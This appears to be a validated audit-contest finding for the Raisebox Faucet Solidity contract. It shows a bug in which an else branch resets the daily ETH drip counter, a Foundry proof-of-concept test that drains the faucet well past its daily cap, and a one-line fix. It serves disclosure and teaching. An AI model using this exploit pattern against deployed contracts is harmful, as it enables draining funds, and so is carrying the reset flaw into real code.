Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Daily ETH cap bypass

Root + Impact

Description

  • The agreement implements a per day ETH drip limit to limit overall amount of Sepolia ETH paid to new claimers on a per day basis. Cumulative ETH paid in dailyDrips counter is to be reset only at day changes when currentDay > lastDripDay

  • The else block resets dailyDrips to 0 unprompted whenever a user who previously claimed ETH or when ETH drips are paused calls the function. This allows any user who previously claimed to reset the daily counter throughout the day, which bypasses the dailySepEthCap protection and allows unlimited ETH draining

if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
@>} else {
@> dailyDrips = 0; // Resets the daily counter
@>}

Risk

Likelihood:

  • Any user who claimed ETH 3 days ago can reset dailyDrips by calling claimFaucetTokens after their cooldown period expires


Impact:

  • Complete bypass of the dailySepEthCap security mechanism

  • The faucet's economic model is completely broken

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract DailyEthCapBypassTest is Test {
RaiseBoxFaucet public faucet;
address public owner = makeAddr("owner");
function setUp() public {
vm.startPrank(owner);
faucet = new RaiseBoxFaucet(
"TestToken",
"TEST",
1000 * 10**18, // faucetDrip
0.005 ether, // sepEthDrip = 0.005 ETH
0.1 ether // dailySepEthCap = 0.1 ETH
);
// Fund contract with 10 ETH
vm.deal(address(faucet), 10 ether);
vm.stopPrank();
}
function testDailyEthCapBypass() public {
uint256 initialBalance = address(faucet).balance;
console.log("Initial faucet ETH balance:", initialBalance / 1e18, "ETH");
console.log("Daily ETH cap:", 0.1 ether / 1e18, "ETH (20 users)");
console.log("---");
console.log("PHASE 1: 19 first-time users claim (0.095 ETH distributed)");
address[] memory resetter = new address[](1);
for (uint256 i = 1; i <= 19; i++) {
address user = makeAddr(string(abi.encodePacked("firstTimer", i)));
vm.prank(user);
faucet.claimFaucetTokens();
if (i == 1) {
resetter[0] = user;
}
}
console.log("Daily ETH drips after 19 claims:", faucet.dailyDrips() / 1e18, "ETH");
console.log("Remaining capacity:", (0.1 ether - faucet.dailyDrips()) / 1e18, "ETH");
console.log("---");
console.log("PHASE 2: 20th user tries to claim (should be blocked by cap)");
address user20 = makeAddr("firstTimer20");
vm.prank(user20);
faucet.claimFaucetTokens();
// Check if user20 got ETH, should have been skipped
bool user20GotEth = faucet.getHasClaimedEth(user20);
console.log("Did user20 receive ETH?", user20GotEth ? "YES (cap not enforced!)" : "NO (cap working)");
console.log("---");
console.log("PHASE 3: Exploit - Previous claimer resets dailyDrips");
// Fast forward past resetters cooldown
vm.warp(block.timestamp + 3 days + 1);
console.log("dailyDrips before reset:", faucet.dailyDrips() / 1e18, "ETH");
// Resetter claims tokens
vm.prank(resetter[0]);
faucet.claimFaucetTokens();
console.log("dailyDrips after resetter claims:", faucet.dailyDrips() / 1e18, "ETH");
console.log("---");
console.log("PHASE 4: 20 MORE first timers claim ");
for (uint256 i = 21; i <= 40; i++) {
address user = makeAddr(string(abi.encodePacked("firstTimer", i)));
vm.prank(user);
faucet.claimFaucetTokens();
}
console.log("Daily ETH drips after 40 total claims:", faucet.dailyDrips() / 1e18, "ETH");
console.log("---");
console.log("PHASE 5: Repeat exploit to drain more");
// Use another early claimer as resetter
vm.warp(block.timestamp + 1);
address resetter2 = makeAddr("firstTimer2");
vm.warp(block.timestamp + 3 days);
vm.prank(resetter2);
faucet.claimFaucetTokens();
console.log("dailyDrips after 2nd reset:", faucet.dailyDrips() / 1e18, "ETH");
// Another 20 users drain more ETH
for (uint256 i = 41; i <= 60; i++) {
address user = makeAddr(string(abi.encodePacked("firstTimer", i)));
vm.prank(user);
faucet.claimFaucetTokens();
}
uint256 finalBalance = address(faucet).balance;
uint256 totalDrained = initialBalance - finalBalance;
console.log("---");
console.log("RESULTS:");
console.log("Total ETH drained:", totalDrained / 1e18, "ETH");
console.log("Daily cap was:", 0.1 ether / 1e18, "ETH");
console.log("Actual drainage:", totalDrained / 1e18, "ETH (", (totalDrained * 100) / 0.1 ether, "% of cap)");
console.log("Remaining faucet balance:", finalBalance / 1e18, "ETH");
// Demonstrate the bypass
assertGt(totalDrained, 0.1 ether, "Should have drained more than daily cap");
}
}

Recommended Mitigation

if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
-} else {
- dailyDrips = 0;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.